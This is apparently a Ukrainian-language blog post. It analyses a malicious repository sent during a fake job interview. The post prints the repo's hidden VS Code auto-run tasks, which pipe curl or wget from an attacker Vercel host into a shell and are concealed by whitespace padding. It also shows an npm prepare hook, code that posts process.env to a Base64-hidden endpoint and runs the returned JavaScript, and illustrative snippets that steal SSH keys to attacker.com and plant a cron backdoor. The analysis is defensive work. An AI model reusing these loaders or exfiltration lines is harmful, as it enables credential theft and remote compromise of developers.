Це сталося зі мною. Це почалося з повідомлення в LinkedIn від когось на ім’я Кевін (профіль наразі видалено), який пропонував роль технічного керівника для децентралізованої платформи стейкингу — бюджет 6,3 мільйона доларів, повністю віддалений, гнучкий графік роботи. Поле було відшліфованим, і можливість звучала законно. Я призначив співбесіду, але коли почався дзвінок, прийшла інша людина. Це був перший червоний прапор. Розмова швидко перейшла до перегляду кодової бази. Моїм першим бажанням було відкрити проект у GitHub Codespaces — віддаленому середовищі, яке відокремило б виконання від мого ноутбука. Але в сховищі не було доступної опції, і я перейшов до локального клонування.

Після того, як я клонував репо, зловмисник спеціально попросив мене відкрити його в VS Code. Я користувався продуктами JetBrains і відмовився. Це дозволило уникнути маршруту .vscode/tasks.json, описаного нижче. Такі завдання можуть виконуватися при відкритій папці, але застосовуються довіра VS Code і елементи керування автоматичними завданнями; відкриття ненадійної папки зазвичай не авторизує їх.

Коли це не спрацювало, нападник розвернувся. Вони попросили перевірити мою версію Node — на перший погляд невинний запит, який також служив способом підтвердити, що Node.js встановлено та готовий. Потім вони запропонували запустити для мене npm install, попросивши показати екран. Оскільки я знаю, що npm install може запускати перехоплювачі життєвого циклу, такі як postinstall, і я не мав уявлення, що виконуватимуть їхні залежності, я відмовився. Я попросив час, щоб переглянути проект перед наступним викликом, але вони наполягали на тому, щоб зробити це прямо зараз. Я знову відмовився. Вони просто кинули і ніколи не повторювали.

Запити перемістилися від вибору редактора до встановлення залежностей під час спільного використання мого екрана. У ретроспективі кожен з них наблизив би проект до виконання коду на моїй машині.

Я попросив Клода допомогти проаналізувати проект. Наведений нижче код показує спроби надіслати середовище процесу Node до віддаленої кінцевої точки та виконати повернутий нею код із завданнями редактора та сценаріями npm, що забезпечують шляхи виконання.

Проект представляє себе як «платформу DLabs», платформу для ігор/ставок/ставок Web3, створену за допомогою React, Node.js, Express і MongoDB. README відшліфовано, залежності виглядають розумно, а структура коду виглядає професійно. Під цією поверхнею два шляхи виконання ведуть до шкідливого коду.

Рівень соціальної інженерії

Атака починається до запуску будь-якого коду. Зловмисник надсилає репозиторій об’єкту — як правило, у формі завдання на співбесіді, позаштатного проекту для перевірки або можливості співпраці. README підсилює легітимність:

## Installation & Running the Project
### 1. Clone the Repository
### 2. Install Dependencies
npm install
### 3. Run the Development Server
npm start

Стандартні інструкції. Нічого тривожного. Проект має професійну структуру з каталогами src/, server/, public/, реальними залежностями, такими як react, express, mongoose, ethers і навіть .gitignore. Схоже на десятки інших початкових проектів Web3 на GitHub.

Вектор атаки 1: автоматичне виконання завдання VSCode

Давайте подивимося на .vscode/tasks.json.

Завдання вимагає автоматичного виконання під час відкриття папки. Запуск залежить від довіри до робочої області, автоматичного схвалення завдань і налаштувань редактора.

Завдання 1: Тиха npm install

{
  "label": "install-root-modules",
  "type": "shell",
  "command": "npm install --silent --no-progress",
  "runOptions": {
    "runOn": "folderOpen"
  },
  "presentation": {
    "reveal": "silent",
    "echo": false,
    "focus": false,
    "panel": "new",
    "showReuseMessage": false,
    "clear": true
  }
}

Якщо дозволено автоматичне виконання, це завдання запускається npm install --silent --no-progress. Його налаштування презентації роблять команду менш видимою:

  • "reveal": "silent" — розкриває термінал лише за умов, задокументованих для тихого режиму, а не завжди.
  • "echo": false — приховує відлуння команди.
  • "focus": false — не фокусує термінал.
  • "showReuseMessage": false — приховує повідомлення повторного використання терміналу.
  • "clear": true — очищає термінал перед виконанням завдання.

Ці прапорці npm зменшують вихід консолі. Якщо завдання дозволено та сценарії життєвого циклу ввімкнено, npm install викликає prepare, який запускає сервер і досягає шкідливого коду, описаного нижче.

Елементи керування автоматичними завданнями

Документи коду VS схвалення для автоматичних завдань. Зберігайте незнайомі сховища в режимі обмеженого доступу, переглядайте завдання, перш ніж довіряти робочій області, і використовуйте "task.allowAutomaticTasks": "off", щоб вимкнути цей тригер. Workspace Trust не робить код безпечним, якщо ви вирішили його виконати.

Завдання 2: Пряме завантаження корисного навантаження оболонки

{
  "label": "env",
  "type": "shell",
  "osx": {
    "command": "curl -L '...' | bash"
  },
  "linux": {
    "command": "wget -qO- '...' | sh"
  },
  "windows": {
    "command": "curl --ssl-no-revoke -L ... | cmd"
  },
  "runOptions": {
    "runOn": "folderOpen"
  }
}

Це завдання завантажує та виконує сценарій оболонки безпосередньо з другого розгортання Vercel зловмисника (vscodesettings-tasks-j227.vercel.app). Він орієнтований на платформу:

  • macOS: curl -L | bash
  • Linux: wget -qO- | sh
  • Windows: curl --ssl-no-revoke -L | cmd (прапорець --ssl-no-revoke обходить перевірку відкликання сертифіката)

Трюк горизонтального прокручування

У необробленому файлі tasks.json шкідливі команди доповнено приблизно 200 пробілами перед ключем "command":

"linux": {
                                                                                          "command": "wget -qO- '...' | sh"
}

У текстовому редакторі чи інструменті перегляду коду клавішу "command" відсувають далеко від правого краю видимої області. Розробник, прокручуючи файл, побачить:

"linux": {

}

Команда виглядає як порожній об’єкт. Вам потрібно буде прокручувати горизонтально — або ввімкнути перенос слів — щоб побачити фактичне корисне навантаження. Це відома техніка обфускації, спеціально націлена на перегляд коду в редакторах без переносу слів.

Вектор атаки 2: гачок життєвого циклу npm

Давайте подивимося на package.json:

"scripts": {
    "start": "node server/server.js | react-scripts --openssl-legacy-provider start",
    "build": "node server/server.js | react-scripts --openssl-legacy-provider build",
    "test": "node server/server.js | react-scripts --openssl-legacy-provider test",
    "eject": "node server/server.js | react-scripts --openssl-legacy-provider eject",
    "prepare": "node server/server.js"
}

Хук prepare проекту запускає node server/server.js як частину встановлення. Розробник, який очікує, що інсталяція завантажуватиме лише пакети, може пропустити цей крок виконання.

Перелічені сценарії start, build, test і eject також включають node server/server.js |. Конвеєр оболонки запускає обидві команди одночасно та з’єднує стандартний вихід першої команди зі стандартним входом другої команди. Він не чекає, поки сервер завершить роботу, перш ніж запустити іншу команду.

Чому саме prepare?

Для цього локального проекту prepare виконується під час npm install, якщо сценарії життєвого циклу не вимкнено. Залежності доступні на цьому етапі. Легітимні проекти також використовують цей хук, тому сама по собі його наявність не є доказом шкідливого ПЗ. npm audit не є аналізатором сценаріїв загального призначення.

Крок 1: Ексфільтрація змінної середовища

Припустимо, що сервер запустився — ось що відбувається далі. Давайте подивимося на server/controllers/auth.js:

const setApiKey = (s) => atob(s);

const verify = (api) =>
  axios.post(api, { ...process.env }, {
    headers: { "x-app-request": "ip-check" }
  });

Дві невинні на вигляд корисні функції. setApiKey декодує рядок Base64. verify робить запит POST. Але подивіться на другий аргумент для axios.post:

{ ...process.env }

Розповсюдження process.env надсилає середовище, видиме для цього процесу Node, включаючи успадковані змінні та будь-які значення, завантажені з .env. Він не перераховує кожну змінну чи облікові дані, що зберігаються на машині. Облікові дані, присутні в середовищі цього процесу, можуть включати:

  • Облікові дані AWS (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
  • Ключі API (OpenAI, Stripe, хмарні провайдери)
  • Рядки підключення до бази даних
  • Секрети сесії та ключі JWT
  • Шляхи сокетів агента SSH
  • PATH, HOME та інші системні змінні

Назви функцій навмисно приземлені. verify звучить так, ніби він перевіряє ключ API. setApiKey звучить як сетер. Під час перевірки коду вони ідеально вписуються в навколишню логіку автентифікації.

Заголовок "x-app-request": "ip-check" є ще одним неправильним напрямком — він означає, що запит є звичайною перевіркою IP-адреси, а не операцією вилучення даних.

Крок 2: кінцева точка з обфускацією Base64

Куди йдуть вилучені облікові дані? Давайте подивимося на .env:

AUTH_API=aHR0cHM6Ly9pcC1jaGVja2luZy1ub3RpZmljYXRpb24tajEudmVyY2VsLmFwcC9hcGk=

Декодування Base64 показує:

https://ip-checking-notification-j1.vercel.app/api

Декодована адреса використовує субдомен Vercel. Розміщення на звичній платформі може зробити адресу звичайною, але не підтвердить, що вона заслуговує довіри або звільнена від перевірок безпеки.

Кодування Base64 не є сильною обфускацією — будь-який розробник, який запускає на ньому atob(), може його декодувати. Але це виконує свою мету: швидкий grep для URL-адрес у файлі .env не виявить підозрілий домен. Це виглядає як ключ API, а не URL.

Сам файл .env є проп

Зверніть увагу, що .env не в .gitignore. .gitignore ретельно виключає:

.env.development.local
.env.test.local
.env.production.local

Але не сам .env. Це навмисно. Файл .env додається до репозиторію з реалістичними демонстраційними ключами:

ALCHEMY_API_KEY=demo-alchemy-0123456789abcdef
STRIPE_SECRET_KEY=sk_test_STRIPEKEY123456
AWS_ACCESS_KEY_ID=AKIAEXAMPLE12345
OPENAI_API_KEY=sk-test_OpenAIkey1234567890

Показані тут значення є заповнювачами. Реалістичний вигляд ключів може зробити зразок проекту завершеним, але лише зовнішній вигляд не може визначити, чи активні облікові дані в ненадійному сховищі.

Крок 3: Віддалене виконання коду за допомогою динамічної конструкції функції

Тепер давайте подивимося, як це все пов’язано. Давайте подивимося на server/routes/api/auth.js:

const verified = validateApiKey();
if (!verified) {
  console.log("Aborting mempool scan due to failed API verification.");
  return;
}

async function validateApiKey() {
  verify(setApiKey(process.env.AUTH_API))
    .then((response) => {
      const executor = new Function("require", response.data);
      executor(require);
      console.log("API Key verified successfully.");
      return true;
    })
    .catch((err) => {
      console.log("API Key verification failed:", err);
      return false;
    });
}

Це найнебезпечніший компонент. Прослідкуємо за виконанням:

  1. setApiKey(process.env.AUTH_API) — декодує URL кінцевої точки Base64
  2. verify(decodedUrl) — POST передає всі змінні середовища на сервер зловмисника
  3. Сервер зловмисника відповідає кодом JavaScript у response.data
  4. new Function("require", response.data) — створює нову функцію з тілом відповіді як вихідним кодом
  5. executor(require) — виконує цю функцію, передаючи require Node.js як аргумент

Передача require надає повернутому коду доступ до модулів Node, таких як fs і child_process. Його доступ регулюється привілеями користувача процесу та будь-якими обмеженнями операційної системи чи контейнера, а не є необмеженим за своєю суттю.

Що може надіслати сервер зловмисника

Наступні фрагменти ілюструють можливі дії, а не корисні навантаження, які спостерігаються з сервера. Їх успіх залежатиме від дозволів і файлів, доступних для процесу.

// Read SSH keys
const fs = require('fs');
const keys = fs.readFileSync(require('os').homedir() + '/.ssh/id_rsa', 'utf8');

// Execute shell commands
const { execSync } = require('child_process');
execSync('curl attacker.com/exfil?data=' + encodeURIComponent(keys));

// Install a persistent backdoor
fs.writeFileSync('/tmp/.hidden_script.sh', '...');
execSync('crontab -l | echo "* * * * * /tmp/.hidden_script.sh" | crontab -');

new Function() виконує динамічно надане джерело в глобальній області, на відміну від прямого eval() у локальній області. Тут явна передача require забезпечує завантажувач модуля, який потрібен віддаленому коду.

Повідомлення про помилку також стосується соціальної інженерії

console.log("Aborting mempool scan due to failed API verification.");

Повідомлення схоже на звичайну помилку Web3, але показаний виклик має ще один недолік: validateApiKey() є асинхронним, тому verified є Promise, а if (!verified) — false. Відхилений запит досягає .catch(console.error); це повідомлення про скасування не викликається.

Повний потік атаки

Зібравши все разом, ось повна схема атаки:

Developer receives project link
         │
         ├── Allows VS Code tasks ──┐
         │                     ├── Task 1: silent npm install ── prepare hook ── server starts
         │                     │                                                      │
         │                     │                              ┌───────────────────────┘
         │                     │                              │
         │                     │                    POST process.env to attacker
         │                     │                              │
         │                     │                    Receive JS payload
         │                     │                              │
         │                     │                    new Function()(require) ── RCE
         │                     │
         │                     └── Task 2: curl/wget | bash ── direct shell payload
         │
         └── Runs npm install ── prepare hook ── (same server chain as above)

Є два шляхи виконання: затверджені завдання редактора та скрипти npm. Маршрут npm надсилає середовище, а потім виконує відповідь з тієї ж кінцевої точки; ці операції є залежними. Окреме завдання завантаження оболонки використовує іншу кінцеву точку.

Якщо кінцева точка збору недоступна, цей запит не може доставити середовище або отримати корисне навантаження відповіді. Інша доступна кінцева точка все ще може виконувати окреме завдання оболонки.

Індикатори компромісу

Якщо завдання, підхоплювач життєвого циклу або сценарій виконувалися, дослідіть середовище, у якому вони запускалися. Відкриття папки без виконання її завдань не еквівалентно запуску корисного навантаження. Перевірте наявність:

  1. Вихідні підключення до доменів *.vercel.app у ваших журналах мережі
  2. Невідомі завдання cron: crontab -l на Linux/macOS
  3. Незвичайні процеси: перевірте наявність постійних фонових процесів
  4. Змінені конфігурації оболонки: модифікації .bashrc, .zshrc, .profile
  5. Нові SSH ключі або записи authorized_keys
  6. Встановлення розширень браузера або модифікації

Змініть усі облікові дані, які були присутні у змінних середовища під час виконання.

Хороший інстинкт: кодові простори GitHub

Кодові простори відокремили б виконання від файлової системи мого ноутбука, але це не зробило б проект автоматично безпечним. Кодовий простір може містити маркери GitHub, переслані облікові дані, секрети сховища та доступ до мережі. Ізоляція повинна включати ці ресурси, а не лише розташування віртуальної машини.

Опція Codespaces була недоступна для мене. Саме це не показує чому: доступність може залежати від доступу до облікового запису, політики або конфігурації сховища. Я міг би використати інше ізольоване середовище перегляду замість запуску проекту локально.

Що, якби це запустилося на Deno?

Модель дозволів Deno може обмежувати доступ до середовища, мережу, операції файлової системи та створення підпроцесів, коли код фактично виконується в Deno з обмеженими дозволами. Залежно від виклику, заборонені операції можуть з’явитися підказкою або завершитися помилкою.

Це умовний захист, а не те, що цей проект отримує лише завдяки встановленню Deno. Його сценарії npm явно викликають node, а широкі дозволи, такі як --allow-all, знімають захист Deno. Дозвіл на запуск необмежених підпроцесів також послаблює цю межу.

Завданням оболонки VS Code є Attack Vector 1. Воно завантажує та виконує код за межами Deno, тому дозволи Deno не керуватимуть ним. Те саме стосується хуків npm, які викликають інше середовище виконання.

Уроки та захисти

  1. Переглядайте незнайомі проекти в одноразовому середовищі без особистих облікових даних, монтувань хостів або перенаправлених агентів.
  2. Перевірте package.json, зміни залежностей і завдання редактора перед тим, як щось виконувати.
  3. Обмежуйте ненадійні робочі області та вимикайте автоматичні завдання за допомогою "task.allowAutomaticTasks": "off".
  4. npm install --ignore-scripts пропускає перехоплення життєвого циклу; це не робить встановлений код безпечним для подальшого запуску.
  5. Увімкніть перенос слів, щоб показувати команди, приховані горизонтальним відступом.
  6. Перегляньте динамічне виконання (new Function(), eval()) і виклики підпроцесів у контексті.
  7. Декодувати підозрілі значення конфігурації локально як дані; не відвідуйте та не виконуйте їх вміст.

Перегляд зображення

Змінюйте масштаб жестом щипка або клавішами + / −. Переміщуйте зображення перетягуванням або стрілками. Esc — закрити.